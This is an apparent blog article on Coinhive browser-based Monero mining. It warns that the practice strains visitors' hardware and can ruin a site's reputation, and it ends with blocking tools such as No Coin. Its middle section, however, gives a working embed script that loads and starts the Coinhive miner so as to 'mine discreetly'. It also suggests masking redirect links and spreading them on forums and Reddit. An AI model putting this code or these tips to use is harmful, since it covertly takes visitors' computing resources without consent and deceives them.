

With Adsense earnings in the dumps, some webmasters are finding alternative means to make money with their web traffic. Selling products and services is the more typical route that most take, but some are resorting to forcing users to mine cryptocurrencies using their web browser.

It is not a new concept as it was done in the past, with Javascript-based miners to mine Bitcoin, but it has resurfaced as CPU & GPU mining has become viable once again with altcoins. Coinhive is the hottest implementation of this concept and it mines XMR instead of Bitcoin to maximize efficiency.

For users that quickly bounce off of a page after 30 seconds, it is not so profitable. For web applications or engaging content, on the other hand, it may be snuck in so that users will sit for several minutes, perhaps even hours, mining currency in the background.

Why It's Not A Good Idea To Use Coinhive

For most users with not-so-great computers, they will notice the website being super choppy and their CPU and GPU loaded at 100%. Computers may be loaded to the point that damages its hardware. This will obviously raise some red flags and upon inspection of your website's source, your /lib/coinhive.min.js may be exposed and your reputation ruined.This is exactly what happened to the developer of e-celebrity Ice Poseidon's website, who snuck in currency within a web application, and now the users are tarnishing his reputation on the front page of Reddit.

How To Implement It

If you are curious or believe you have a way to get away with stealing your users' CPU & GPU resources, here are a few methods to implement it within your website:

Embedded Javascript

Place this script, or something similar, in webpages where you want to mine discreetly:

<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('<site-key>'); miner.start(); </script>

For "<site-key>", make sure to place the key found in your account's Settings page.

If you use a self-hosted Wordpress site, for example, you may place the code in a Custom HTML widget.

URL Redirection

Much like paid URL redirection services, like Adfly, Coinhive allows you to create short links with a delay so that it may mine XMR for a moment before the user is redirected. Instead of a set time in seconds, the user will have to solve a minimum amount of hashes, so faster computers will be redirected first. Sharing masked URL redirection links on forums and Reddit may be a method of spreading it.

Proof Of Work "Captcha"

Instead of trying to type out hard to read words or clicking on images of cars to access a site, this widget will simply force users to use computing resources in order to pass its "Captcha".Read more about the implementation of Coinhive captcha here.

How To Stop Browser Mining

Using Firefox plugins like NoScript or QuickJava will allow you to completely disable scripts and render hidden miners useless. Unfortunately, this may also completely disable the functionality of most websites, so it must be directly targeted. The No Coin extention was created specifically for this purpose and other add-ons are likely to follow. It is currently available for Chrome but a Firefox extension is supposedly coming soon.